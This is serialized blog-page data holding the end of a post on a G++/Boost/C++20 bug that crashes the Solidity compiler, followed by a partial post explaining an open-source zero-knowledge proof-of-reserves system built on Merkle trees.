ConstantEvaluator::",{"type":24,"tag":147,"props":97767,"children":97768},{"style":229},[97769],{"type":29,"value":43602},{"type":24,"tag":147,"props":97771,"children":97772},{"style":235},[97773],{"type":29,"value":97774},"(...))\n",{"type":24,"tag":147,"props":97776,"children":97777},{"class":149,"line":205},[97778,97783,97787,97791,97795,97799],{"type":24,"tag":147,"props":97779,"children":97780},{"style":235},[97781],{"type":29,"value":97782},"        lengthValue ",{"type":24,"tag":147,"props":97784,"children":97785},{"style":241},[97786],{"type":29,"value":369},{"type":24,"tag":147,"props":97788,"children":97789},{"style":247},[97790],{"type":29,"value":38111},{"type":24,"tag":147,"props":97792,"children":97793},{"style":235},[97794],{"type":29,"value":495},{"type":24,"tag":147,"props":97796,"children":97797},{"style":247},[97798],{"type":29,"value":5037},{"type":24,"tag":147,"props":97800,"children":97801},{"style":235},[97802],{"type":29,"value":432},{"type":24,"tag":147,"props":97804,"children":97805},{"class":149,"line":214},[97806],{"type":24,"tag":147,"props":97807,"children":97808},{"emptyLinePlaceholder":16},[97809],{"type":29,"value":314},{"type":24,"tag":147,"props":97811,"children":97812},{"class":149,"line":272},[97813,97817,97821,97825],{"type":24,"tag":147,"props":97814,"children":97815},{"style":321},[97816],{"type":29,"value":4759},{"type":24,"tag":147,"props":97818,"children":97819},{"style":235},[97820],{"type":29,"value":408},{"type":24,"tag":147,"props":97822,"children":97823},{"style":241},[97824],{"type":29,"value":413},{"type":24,"tag":147,"props":97826,"children":97827},{"style":235},[97828],{"type":29,"value":97829},"lengthValue)\n",{"type":24,"tag":147,"props":97831,"children":97832},{"class":149,"line":281},[97833],{"type":24,"tag":147,"props":97834,"children":97835},{"style":235},[97836],{"type":29,"value":87426},{"type":24,"tag":147,"props":97838,"children":97839},{"class":149,"line":299},[97840,97844,97848,97852,97856,97860,97864,97868,97872],{"type":24,"tag":147,"props":97841,"children":97842},{"style":321},[97843],{"type":29,"value":97729},{"type":24,"tag":147,"props":97845,"children":97846},{"style":321},[97847],{"type":29,"value":21397},{"type":24,"tag":147,"props":97849,"children":97850},{"style":235},[97851],{"type":29,"value":408},{"type":24,"tag":147,"props":97853,"children":97854},{"style":241},[97855],{"type":29,"value":244},{"type":24,"tag":147,"props":97857,"children":97858},{"style":235},[97859],{"type":29,"value":95661},{"type":24,"tag":147,"props":97861,"children":97862},{"style":241},[97863],{"type":29,"value":6600},{"type":24,"tag":147,"props":97865,"children":97866},{"style":705},[97867],{"type":29,"value":708},{"type":24,"tag":147,"props":97869,"children":97870},{"style":235},[97871],{"type":29,"value":8758},{"type":24,"tag":147,"props":97873,"children":97874},{"style":154},[97875],{"type":29,"value":97876},"  // \u003C-- Infinite recursion happens here\n",{"type":24,"tag":147,"props":97878,"children":97879},{"class":149,"line":308},[97880],{"type":24,"tag":147,"props":97881,"children":97882},{"style":235},[97883],{"type":29,"value":87426},{"type":24,"tag":147,"props":97885,"children":97886},{"class":149,"line":317},[97887],{"type":24,"tag":147,"props":97888,"children":97889},{"style":235},[97890],{"type":29,"value":827},{"type":24,"tag":25,"props":97892,"children":97893},{},[97894],{"type":29,"value":97895},"Under normal circumstances, this expression is benign. But:",{"type":24,"tag":22292,"props":97897,"children":97898},{},[97899,97904,97909],{"type":24,"tag":2678,"props":97900,"children":97901},{},[97902],{"type":29,"value":97903},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":24,"tag":2678,"props":97905,"children":97906},{},[97907],{"type":29,"value":97908},"C++20 reverses the arguments",{"type":24,"tag":2678,"props":97910,"children":97911},{},[97912],{"type":29,"value":97913},"The non-member operator recursively calls itself",{"type":24,"tag":25,"props":97915,"children":97916},{},[97917],{"type":29,"value":97918},"💥: segmentation fault.",{"type":24,"tag":2665,"props":97920,"children":97921},{},[],{"type":24,"tag":32,"props":97923,"children":97925},{"id":97924},"part-v-what-environments-are-affected",[97926],{"type":29,"value":97927},"Part V: What Environments are Affected?",{"type":24,"tag":25,"props":97929,"children":97930},{},[97931],{"type":29,"value":97932},"If a system uses any of the following:",{"type":24,"tag":22292,"props":97934,"children":97935},{},[97936,97941,97946],{"type":24,"tag":2678,"props":97937,"children":97938},{},[97939],{"type":29,"value":97940},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":24,"tag":2678,"props":97942,"children":97943},{},[97944],{"type":29,"value":97945},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":24,"tag":2678,"props":97947,"children":97948},{},[97949],{"type":29,"value":97950},"C++20 enabled (default in recent Solidity builds)",{"type":24,"tag":25,"props":97952,"children":97953},{},[97954,97956,97961,97963,97969],{"type":29,"value":97955},"They will encounter this crash ",{"type":24,"tag":10949,"props":97957,"children":97958},{},[97959],{"type":29,"value":97960},"as soon as",{"type":29,"value":97962}," it processes a Solidity source with a length expression like ",{"type":24,"tag":80,"props":97964,"children":97966},{"className":97965},[],[97967],{"type":29,"value":97968},"T[0]",{"type":29,"value":97970}," or anything involving compile-time rational comparisons.",{"type":24,"tag":2665,"props":97972,"children":97973},{},[],{"type":24,"tag":32,"props":97975,"children":97977},{"id":97976},"recommendations",[97978],{"type":29,"value":97979},"Recommendations",{"type":24,"tag":22292,"props":97981,"children":97982},{},[97983,97991],{"type":24,"tag":2678,"props":97984,"children":97985},{},[97986],{"type":24,"tag":10949,"props":97987,"children":97988},{},[97989],{"type":29,"value":97990},"Update Boost to ≥ 1.75",{"type":24,"tag":2678,"props":97992,"children":97993},{},[97994],{"type":24,"tag":10949,"props":97995,"children":97996},{},[97997],{"type":29,"value":97998},"Pin G++ to v14 or later",{"type":24,"tag":2665,"props":98000,"children":98001},{},[],{"type":24,"tag":32,"props":98003,"children":98004},{"id":8458},[98005],{"type":29,"value":8461},{"type":24,"tag":25,"props":98007,"children":98008},{},[98009],{"type":29,"value":98010},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":24,"tag":25,"props":98012,"children":98013},{},[98014,98016,98020],{"type":29,"value":98015},"But it ",{"type":24,"tag":10949,"props":98017,"children":98018},{},[98019],{"type":29,"value":9598},{"type":29,"value":98021}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":24,"tag":25,"props":98023,"children":98024},{},[98025],{"type":29,"value":98026},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":24,"tag":25,"props":98028,"children":98029},{},[98030],{"type":29,"value":98031},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":24,"tag":8473,"props":98033,"children":98034},{},[98035],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":98037},[98038,98039,98044,98047,98048,98049,98050,98051],{"id":95721,"depth":160,"text":95724},{"id":95810,"depth":160,"text":95813,"children":98040},[98041,98042,98043],{"id":95816,"depth":169,"text":95819},{"id":95884,"depth":169,"text":95887},{"id":95975,"depth":169,"text":95978},{"id":96559,"depth":160,"text":96562,"children":98045},[98046],{"id":96565,"depth":169,"text":96568},{"id":96676,"depth":160,"text":96679},{"id":97523,"depth":160,"text":97526},{"id":97924,"depth":160,"text":97927},{"id":97976,"depth":160,"text":97979},{"id":8458,"depth":160,"text":8461},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":98056,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":98057,"description":98058,"date":98059,"author":36801,"image":98060,"isFeatured":16,"onBlogPage":16,"tags":98062,"body":98065,"_type":8496,"_id":102840,"_source":8498,"_file":102841,"_stem":102842,"_extension":8501},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":98061,"width":15,"height":15},"/posts/por/title.png",[98063,98064],"zk","por",{"type":21,"children":98066,"toc":102817},[98067,98073,98085,98097,98102,98134,98148,98154,98166,98171,98176,98213,98218,98224,98229,98236,98241,98267,98272,98278,98298,98312,98320,98325,98330,98338,98351,98357,98439,98445,98450,98463,98468,98475,98499,98507,98512,98518,98523,98971,98984,98990,98995,99003,99021,99029,99042,99050,100711,100716,100723,100729,100734,100741,100757,100764,100772,100779,102289,102294,102301,102307,102312,102339,102344,102363,102369,102377,102395,102444,102452,102471,102493,102499,102512,102517,102524,102529,102592,102597,102604,102624,102630,102635,102641,102646,102690,102695,102703,102709,102714,102756,102761,102769,102774,102782,102786,102791,102804],{"type":24,"tag":32,"props":98068,"children":98070},{"id":98069},"what-is-a-proof-of-reserves",[98071],{"type":29,"value":98072},"What is a Proof of Reserves?",{"type":24,"tag":25,"props":98074,"children":98075},{},[98076,98078,98083],{"type":29,"value":98077},"At its heart, ",{"type":24,"tag":10949,"props":98079,"children":98080},{},[98081],{"type":29,"value":98082},"Proof of Reserves (PoR)",{"type":29,"value":98084}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":24,"tag":25,"props":98086,"children":98087},{},[98088,98090,98095],{"type":29,"value":98089},"Think of it this way: ",{"type":24,"tag":10949,"props":98091,"children":98092},{},[98093],{"type":29,"value":98094},"PoR",{"type":29,"value":98096}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":24,"tag":25,"props":98098,"children":98099},{},[98100],{"type":29,"value":98101},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":24,"tag":25,"props":98103,"children":98104},{},[98105,98107,98114,98116,98123,98125,98132],{"type":29,"value":98106},"We from OtterSec, in partnership with ",{"type":24,"tag":2773,"props":98108,"children":98111},{"href":98109,"rel":98110},"https://backpack.exchange/",[2777],[98112],{"type":29,"value":98113},"Backpack",{"type":29,"value":98115},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":24,"tag":2773,"props":98117,"children":98120},{"href":98118,"rel":98119},"https://github.com/otter-sec/por_v2",[2777],[98121],{"type":29,"value":98122},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":98124}," was based on ",{"type":24,"tag":2773,"props":98126,"children":98129},{"href":98127,"rel":98128},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[2777],[98130],{"type":29,"value":98131},"OKX Proof of Reserves algorithm",{"type":29,"value":98133}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":24,"tag":25,"props":98135,"children":98136},{},[98137,98139,98146],{"type":29,"value":98138},"In addition, we also created and open-sourced a ",{"type":24,"tag":2773,"props":98140,"children":98143},{"href":98141,"rel":98142},"https://github.com/otter-sec/por_verifier_server",[2777],[98144],{"type":29,"value":98145},"PoR verifier server",{"type":29,"value":98147}," that receives the proofs and validates them.",{"type":24,"tag":32,"props":98149,"children":98151},{"id":98150},"why-do-we-use-zk-for-por",[98152],{"type":29,"value":98153},"Why do we use ZK for PoR?",{"type":24,"tag":25,"props":98155,"children":98156},{},[98157,98159,98164],{"type":29,"value":98158},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":24,"tag":10949,"props":98160,"children":98161},{},[98162],{"type":29,"value":98163},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":98165}," become game-changers.",{"type":24,"tag":25,"props":98167,"children":98168},{},[98169],{"type":29,"value":98170},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":24,"tag":25,"props":98172,"children":98173},{},[98174],{"type":29,"value":98175},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":24,"tag":2674,"props":98177,"children":98178},{},[98179,98196],{"type":24,"tag":2678,"props":98180,"children":98181},{},[98182,98187,98189,98195],{"type":24,"tag":10949,"props":98183,"children":98184},{},[98185],{"type":29,"value":98186},"Sum proof",{"type":29,"value":98188},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":24,"tag":80,"props":98190,"children":98192},{"className":98191},[],[98193],{"type":29,"value":98194},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":5745},{"type":24,"tag":2678,"props":98197,"children":98198},{},[98199,98204,98206,98211],{"type":24,"tag":10949,"props":98200,"children":98201},{},[98202],{"type":29,"value":98203},"Non-negativity",{"type":29,"value":98205},": All users have a ",{"type":24,"tag":10949,"props":98207,"children":98208},{},[98209],{"type":29,"value":98210},"positive",{"type":29,"value":98212}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":24,"tag":25,"props":98214,"children":98215},{},[98216],{"type":29,"value":98217},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":24,"tag":32,"props":98219,"children":98221},{"id":98220},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[98222],{"type":29,"value":98223},"What is a Merkle Tree and how does it help in a PoR?",{"type":24,"tag":25,"props":98225,"children":98226},{},[98227],{"type":29,"value":98228},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":24,"tag":25,"props":98230,"children":98231},{},[98232],{"type":24,"tag":63,"props":98233,"children":98235},{"alt":56176,"src":98234},"/posts/por/merkle-tree.png",[],{"type":24,"tag":25,"props":98237,"children":98238},{},[98239],{"type":29,"value":98240},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":24,"tag":2674,"props":98242,"children":98243},{},[98244,98257,98262],{"type":24,"tag":2678,"props":98245,"children":98246},{},[98247,98249,98255],{"type":29,"value":98248},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":24,"tag":80,"props":98250,"children":98252},{"className":98251},[],[98253],{"type":29,"value":98254},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":98256},");",{"type":24,"tag":2678,"props":98258,"children":98259},{},[98260],{"type":29,"value":98261},"The Merkle tree is made public;",{"type":24,"tag":2678,"props":98263,"children":98264},{},[98265],{"type":29,"value":98266},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":24,"tag":25,"props":98268,"children":98269},{},[98270],{"type":29,"value":98271},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":24,"tag":32,"props":98273,"children":98275},{"id":98274},"ottersec-porv2",[98276],{"type":29,"value":98277},"OtterSec PoRv2",{"type":24,"tag":25,"props":98279,"children":98280},{},[98281,98287,98289,98296],{"type":24,"tag":2773,"props":98282,"children":98284},{"href":98118,"rel":98283},[2777],[98285],{"type":29,"value":98286},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":98288},", which uses the ",{"type":24,"tag":2773,"props":98290,"children":98293},{"href":98291,"rel":98292},"https://github.com/0xPolygonZero/plonky2",[2777],[98294],{"type":29,"value":98295},"plonky2 ZK algorithm",{"type":29,"value":98297}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":24,"tag":25,"props":98299,"children":98300},{},[98301,98303,98310],{"type":29,"value":98302},"We named it PoRv2 because we already had a version based on ",{"type":24,"tag":2773,"props":98304,"children":98307},{"href":98305,"rel":98306},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[2777],[98308],{"type":29,"value":98309},"Vitalik's proof of solvency",{"type":29,"value":98311},", which was not optimal.",{"type":24,"tag":25,"props":98313,"children":98314},{},[98315],{"type":24,"tag":10949,"props":98316,"children":98317},{},[98318],{"type":29,"value":98319},"Non-negativity Proof",{"type":24,"tag":25,"props":98321,"children":98322},{},[98323],{"type":29,"value":98324},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":24,"tag":25,"props":98326,"children":98327},{},[98328],{"type":29,"value":98329},"We also check for overflows during summation to prevent tampering in the final result.",{"type":24,"tag":25,"props":98331,"children":98332},{},[98333],{"type":24,"tag":10949,"props":98334,"children":98335},{},[98336],{"type":29,"value":98337},"Sum Proof",{"type":24,"tag":25,"props":98339,"children":98340},{},[98341,98343,98349],{"type":29,"value":98342},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":24,"tag":80,"props":98344,"children":98346},{"className":98345},[],[98347],{"type":29,"value":98348},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":98350},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":24,"tag":43,"props":98352,"children":98354},{"id":98353},"what-are-the-ottersec-porv2-key-points",[98355],{"type":29,"value":98356},"What are the OtterSec PoRv2 key points?",{"type":24,"tag":2674,"props":98358,"children":98359},{},[98360,98370,98388,98398,98429],{"type":24,"tag":2678,"props":98361,"children":98362},{},[98363,98368],{"type":24,"tag":10949,"props":98364,"children":98365},{},[98366],{"type":29,"value":98367},"Transparency",{"type":29,"value":98369},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":24,"tag":2678,"props":98371,"children":98372},{},[98373,98378,98380,98387],{"type":24,"tag":10949,"props":98374,"children":98375},{},[98376],{"type":29,"value":98377},"Time-efficiency",{"type":29,"value":98379},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":24,"tag":2773,"props":98381,"children":98384},{"href":98382,"rel":98383},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[2777],[98385],{"type":29,"value":98386},"Check our benchmark",{"type":29,"value":87},{"type":24,"tag":2678,"props":98389,"children":98390},{},[98391,98396],{"type":24,"tag":10949,"props":98392,"children":98393},{},[98394],{"type":29,"value":98395},"Memory-efficiency",{"type":29,"value":98397},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":24,"tag":2678,"props":98399,"children":98400},{},[98401,98406,98408,98413,98415,98420,98422,98427],{"type":24,"tag":10949,"props":98402,"children":98403},{},[98404],{"type":29,"value":98405},"Small-proofs",{"type":29,"value":98407},": We were able to reduce the final proof to less than ",{"type":24,"tag":10949,"props":98409,"children":98410},{},[98411],{"type":29,"value":98412},"500KB",{"type":29,"value":98414}," and each inclusion proof to ",{"type":24,"tag":10949,"props":98416,"children":98417},{},[98418],{"type":29,"value":98419},"~52KB",{"type":29,"value":98421},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":24,"tag":10949,"props":98423,"children":98424},{},[98425],{"type":29,"value":98426},"200MB",{"type":29,"value":98428}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":24,"tag":2678,"props":98430,"children":98431},{},[98432,98437],{"type":24,"tag":10949,"props":98433,"children":98434},{},[98435],{"type":29,"value":98436},"Privacy",{"type":29,"value":98438},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":24,"tag":32,"props":98440,"children":98442},{"id":98441},"zk-circuits",[98443],{"type":29,"value":98444},"ZK Circuits",{"type":24,"tag":25,"props":98446,"children":98447},{},[98448],{"type":29,"value":98449},"We use two different ZK circuits to generate the final proof:",{"type":24,"tag":2674,"props":98451,"children":98452},{},[98453,98458],{"type":24,"tag":2678,"props":98454,"children":98455},{},[98456],{"type":29,"value":98457},"Batch circuit",{"type":24,"tag":2678,"props":98459,"children":98460},{},[98461],{"type":29,"value":98462},"Recursive circuit",{"type":24,"tag":25,"props":98464,"children":98465},{},[98466],{"type":29,"value":98467},"With those two circuits, we can generate the proofs recursive tree:",{"type":24,"tag":25,"props":98469,"children":98470},{},[98471],{"type":24,"tag":63,"props":98472,"children":98474},{"alt":56176,"src":98473},"/posts/por/batch-circuit.png",[],{"type":24,"tag":98,"props":98476,"children":98477},{},[98478],{"type":24,"tag":25,"props":98479,"children":98480},{},[98481,98483,98489,98491,98497],{"type":29,"value":98482},"Note: We are using 512 as ",{"type":24,"tag":80,"props":98484,"children":98486},{"className":98485},[],[98487],{"type":29,"value":98488},"BATCH_SIZE",{"type":29,"value":98490}," and 8 as ",{"type":24,"tag":80,"props":98492,"children":98494},{"className":98493},[],[98495],{"type":29,"value":98496},"RECURSIVE_SIZE",{"type":29,"value":98498}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":24,"tag":98,"props":98500,"children":98501},{},[98502],{"type":24,"tag":25,"props":98503,"children":98504},{},[98505],{"type":29,"value":98506},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":24,"tag":25,"props":98508,"children":98509},{},[98510],{"type":29,"value":98511},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":24,"tag":43,"props":98513,"children":98515},{"id":98514},"leaf-nodes",[98516],{"type":29,"value":98517},"Leaf Nodes",{"type":24,"tag":25,"props":98519,"children":98520},{},[98521],{"type":29,"value":98522},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":24,"tag":25,"props":98524,"children":98525},{},[98526],{"type":24,"tag":80,"props":98527,"children":98529},{"className":98528},[9607,9608],[98530],{"type":24,"tag":147,"props":98531,"children":98533},{"className":98532},[9613],[98534],{"type":24,"tag":147,"props":98535,"children":98537},{"className":98536,"ariaHidden":9619},[9618],[98538,98565],{"type":24,"tag":147,"props":98539,"children":98541},{"className":98540},[9624],[98542,98547,98552,98556,98561],{"type":24,"tag":147,"props":98543,"children":98546},{"className":98544,"style":98545},[9629],"height:0.6944em;",[],{"type":24,"tag":147,"props":98548,"children":98550},{"className":98549},[9635,27190],[98551],{"type":29,"value":89928},{"type":24,"tag":147,"props":98553,"children":98555},{"className":98554,"style":9812},[9714],[],{"type":24,"tag":147,"props":98557,"children":98559},{"className":98558},[9817],[98560],{"type":29,"value":369},{"type":24,"tag":147,"props":98562,"children":98564},{"className":98563,"style":9812},[9714],[],{"type":24,"tag":147,"props":98566,"children":98568},{"className":98567},[9624],[98569,98574,98579,98585,98590,98595,98601,98606,98611,98616,98622,98627,98633,98639,98646,98652,98658,98718,98723,98729,98734,98739,98744,98749,98754,98759,98764,98769,98774,98831,98836,98841,98846,98851,98856,98861,98868,98873,98879,98884,98890,98896,98901,98906,98911,98916,98921,98926,98931,98936,98941,98946,98951,98956,98961,98966],{"type":24,"tag":147,"props":98570,"children":98573},{"className":98571,"style":98572},[9629],"height:1.06em;vertical-align:-0.31em;",[],{"type":24,"tag":147,"props":98575,"children":98577},{"className":98576,"style":27191},[9635,27190],[98578],{"type":29,"value":27194},{"type":24,"tag":147,"props":98580,"children":98582},{"className":98581},[9635,27190],[98583],{"type":29,"value":98584},"ose",{"type":24,"tag":147,"props":98586,"children":98588},{"className":98587},[9635,27190],[98589],{"type":29,"value":9363},{"type":24,"tag":147,"props":98591,"children":98593},{"className":98592},[9635,27190],[98594],{"type":29,"value":76147},{"type":24,"tag":147,"props":98596,"children":98598},{"className":98597},[9635,27190],[98599],{"type":29,"value":98600},"o",{"type":24,"tag":147,"props":98602,"children":98604},{"className":98603},[9635,27190],[98605],{"type":29,"value":61991},{"type":24,"tag":147,"props":98607,"children":98609},{"className":98608},[27319],[98610],{"type":29,"value":480},{"type":24,"tag":147,"props":98612,"children":98614},{"className":98613},[9635,27190],[98615],{"type":29,"value":2773},{"type":24,"tag":147,"props":98617,"children":98619},{"className":98618},[9635,27190],[98620],{"type":29,"value":98621},"sse",{"type":24,"tag":147,"props":98623,"children":98625},{"className":98624},[9635,27190],[98626],{"type":29,"value":27332},{"type":24,"tag":147,"props":98628,"children":98631},{"className":98629,"style":98630},[9635],"margin-right:0.02778em;",[98632],{"type":29,"value":8714},{"type":24,"tag":147,"props":98634,"children":98636},{"className":98635},[9635,27190],[98637],{"type":29,"value":98638},"ba",{"type":24,"tag":147,"props":98640,"children":98643},{"className":98641,"style":98642},[9635,27190],"margin-right:0.01968em;",[98644],{"type":29,"value":98645},"l",{"type":24,"tag":147,"props":98647,"children":98649},{"className":98648},[9635,27190],[98650],{"type":29,"value":98651},"an",{"type":24,"tag":147,"props":98653,"children":98655},{"className":98654},[9635,27190],[98656],{"type":29,"value":98657},"ce",{"type":24,"tag":147,"props":98659,"children":98661},{"className":98660},[9635],[98662,98667],{"type":24,"tag":147,"props":98663,"children":98665},{"className":98664},[9635,27190],[98666],{"type":29,"value":2203},{"type":24,"tag":147,"props":98668,"children":98670},{"className":98669},[9650],[98671],{"type":24,"tag":147,"props":98672,"children":98674},{"className":98673},[9655,27244],[98675,98706],{"type":24,"tag":147,"props":98676,"children":98678},{"className":98677},[9660],[98679,98701],{"type":24,"tag":147,"props":98680,"children":98683},{"className":98681,"style":98682},[9665],"height:0.3011em;",[98684],{"type":24,"tag":147,"props":98685,"children":98687},{"style":98686},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[98688,98692],{"type":24,"tag":147,"props":98689,"children":98691},{"className":98690,"style":9675},[9674],[],{"type":24,"tag":147,"props":98693,"children":98695},{"className":98694},[9680,9681,9682,9683],[98696],{"type":24,"tag":147,"props":98697,"children":98699},{"className":98698},[9635,9683],[98700],{"type":29,"value":3173},{"type":24,"tag":147,"props":98702,"children":98704},{"className":98703},[27347],[98705],{"type":29,"value":27350},{"type":24,"tag":147,"props":98707,"children":98709},{"className":98708},[9660],[98710],{"type":24,"tag":147,"props":98711,"children":98714},{"className":98712,"style":98713},[9665],"height:0.15em;",[98715],{"type":24,"tag":147,"props":98716,"children":98717},{},[],{"type":24,"tag":147,"props":98719,"children":98721},{"className":98720},[9714],[98722],{"type":29,"value":27291},{"type":24,"tag":147,"props":98724,"children":98726},{"className":98725},[9635],[98727],{"type":29,"value":98728},"∣∣",{"type":24,"tag":147,"props":98730,"children":98732},{"className":98731},[9714],[98733],{"type":29,"value":27291},{"type":24,"tag":147,"props":98735,"children":98737},{"className":98736},[9635,27190],[98738],{"type":29,"value":2773},{"type":24,"tag":147,"props":98740,"children":98742},{"className":98741},[9635,27190],[98743],{"type":29,"value":98621},{"type":24,"tag":147,"props":98745,"children":98747},{"className":98746},[9635,27190],[98748],{"type":29,"value":27332},{"type":24,"tag":147,"props":98750,"children":98752},{"className":98751,"style":98630},[9635],[98753],{"type":29,"value":8714},{"type":24,"tag":147,"props":98755,"children":98757},{"className":98756},[9635,27190],[98758],{"type":29,"value":98638},{"type":24,"tag":147,"props":98760,"children":98762},{"className":98761,"style":98642},[9635,27190],[98763],{"type":29,"value":98645},{"type":24,"tag":147,"props":98765,"children":98767},{"className":98766},[9635,27190],[98768],{"type":29,"value":98651},{"type":24,"tag":147,"props":98770,"children":98772},{"className":98771},[9635,27190],[98773],{"type":29,"value":98657},{"type":24,"tag":147,"props":98775,"children":98777},{"className":98776},[9635],[98778,98783],{"type":24,"tag":147,"props":98779,"children":98781},{"className":98780},[9635,27190],[98782],{"type":29,"value":2203},{"type":24,"tag":147,"props":98784,"children":98786},{"className":98785},[9650],[98787],{"type":24,"tag":147,"props":98788,"children":98790},{"className":98789},[9655,27244],[98791,98820],{"type":24,"tag":147,"props":98792,"children":98794},{"className":98793},[9660],[98795,98815],{"type":24,"tag":147,"props":98796,"children":98798},{"className":98797,"style":98682},[9665],[98799],{"type":24,"tag":147,"props":98800,"children":98801},{"style":98686},[98802,98806],{"type":24,"tag":147,"props":98803,"children":98805},{"className":98804,"style":9675},[9674],[],{"type":24,"tag":147,"props":98807,"children":98809},{"className":98808},[9680,9681,9682,9683],[98810],{"type":24,"tag":147,"props":98811,"children":98813},{"className":98812},[9635,9683],[98814],{"type":29,"value":1154},{"type":24,"tag":147,"props":98816,"children":98818},{"className":98817},[27347],[98819],{"type":29,"value":27350},{"type":24,"tag":147,"props":98821,"children":98823},{"className":98822},[9660],[98824],{"type":24,"tag":147,"props":98825,"children":98827},{"className":98826,"style":98713},[9665],[98828],{"type":24,"tag":147,"props":98829,"children":98830},{},[],{"type":24,"tag":147,"props":98832,"children":98834},{"className":98833},[9714],[98835],{"type":29,"value":27291},{"type":24,"tag":147,"props":98837,"children":98839},{"className":98838},[9635],[98840],{"type":29,"value":15212},{"type":24,"tag":147,"props":98842,"children":98844},{"className":98843},[9714],[98845],{"type":29,"value":27291},{"type":24,"tag":147,"props":98847,"children":98849},{"className":98848},[9635],[98850],{"type":29,"value":98728},{"type":24,"tag":147,"props":98852,"children":98854},{"className":98853},[9714],[98855],{"type":29,"value":27291},{"type":24,"tag":147,"props":98857,"children":98859},{"className":98858,"style":27649},[9635,27190],[98860],{"type":29,"value":27652},{"type":24,"tag":147,"props":98862,"children":98865},{"